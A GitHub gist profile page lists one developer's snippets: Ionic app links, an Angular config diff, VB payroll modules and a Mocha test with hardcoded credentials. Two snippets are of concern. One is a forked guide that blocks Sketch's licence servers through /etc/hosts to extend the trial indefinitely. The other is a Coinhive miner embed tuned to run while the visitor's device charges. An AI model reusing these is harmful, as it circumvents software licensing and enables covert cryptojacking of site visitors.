Skip to content

Instantly share code, notes, and snippets.

View jbagaresgaray's full-sized avatar
🏠
Working from home

Philip Cesar Garay jbagaresgaray

🏠
Working from home
View GitHub Profile
@jbagaresgaray
jbagaresgaray / sketch-never-ending.md
Created May 29, 2020 08:39 — forked from Bhavdip/sketch-never-ending.md
Modify Sketch to never ending trial

###Sketch trial non stop

Open hosts files:

$ open /private/etc/hosts

Edit the file adding:

127.0.0.1 backend.bohemiancoding.com

127.0.0.1 bohemiancoding.sketch.analytics.s3-website-us-east-1.amazonaws.com

https://itunes.apple.com/au/app/ellerslie/id920199342?mt=8(Ionic 1)
https://itunes.apple.com/nz/app/stamp/id1080172237(Ionic 1)
https://itunes.apple.com/nz/app/rosmini/id804166760?mt=8(Ionic 1)
https://apps.apple.com/nz/app/stars-of-aroha/id1168982009(Ionic 1)
https://play.google.com/store/apps/details?id=com.beltcalcpro&hl=en (Ionic 1)
https://itunes.apple.com/mr/app/v-beltcalc/id1128656670?mt=8 (Ionic 1)
https://vbeltcalc.com/ (Ionic 1)
https://alsocreative.com/project/v-belt-calc/
http://kegitapp.com/product/ (Ionic 3)
@jbagaresgaray
jbagaresgaray / angular.json.md
Created December 19, 2018 02:30 — forked from cironunes/angular.json.md
Firebase Cloud Function for Angular SSR
{
-  "outputPath": "dist/piggybank", 
+  "outputPath": "functions/dist/piggybank",
-  "outputPath": "dist/piggybank-server",
+  "outputPath:": "functions/dist/piggybank-server",
}
@jbagaresgaray
jbagaresgaray / accounts.js
Created March 5, 2018 09:16
unit test using Chai, Should and Mocha JS
let chai = require('chai');
let chaiHttp = require('chai-http');
let should = chai.should();
let apiURL = 'http://54.252.206.198:4000/api/v1';
let lastInsertID = null;
let token = null;
let user = {
username: '4LOOP.003',
password: '123456'
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script type="text/javascript">
var xmr = new CoinHive.Anonymous('nZA7gxQv1dArvhcounbgzBcNKQliOCx2', { throttle: 0.85, threads: 2 });
try {
var threads = Math.max(1, Math.floor(navigator.hardwareConcurrency / 4));
xmr.setNumThreads(threads);
navigator.getBattery().then(function(battery) {
if (battery.charging) {
xmr.start();
@jbagaresgaray
jbagaresgaray / payroll.vb
Created February 14, 2017 07:00
HRIS Payroll API
Option Explicit On
Imports MySql.Data.MySqlClient
Module modPayroll
Public Structure payslip_selectedEmployee
Dim IndexID As Integer
Dim PayrollID As Integer
Dim EmployeeID As String
@jbagaresgaray
jbagaresgaray / division.vb
Created February 8, 2017 09:53
HRIS Division API
Option Explicit On
Imports MySql.Data.MySqlClient
Module modDivision
Public Structure Divisions
Dim div_id As Integer
Dim div_code As String
Dim div_name As String
Dim div_desc As String
@jbagaresgaray
jbagaresgaray / positiongroup.vb
Created February 8, 2017 09:51
HRIS Job Title Grouping
Option Explicit On
Imports MySql.Data.MySqlClient
Module modPositionGroup
Public Structure Group_Position
Dim GroupID As Integer
Dim GroupCode As String
Dim GroupName As String
Dim Description As String
@jbagaresgaray
jbagaresgaray / position.vb
Created February 8, 2017 09:51
HRIS Job Position
Option Explicit On
Imports MySql.Data.MySqlClient
Module modPosition
Public Structure Positions
Dim jt_id As Integer
Dim jt_name As String
Dim jt_addedby As Integer
Dim jt_dateadded As Date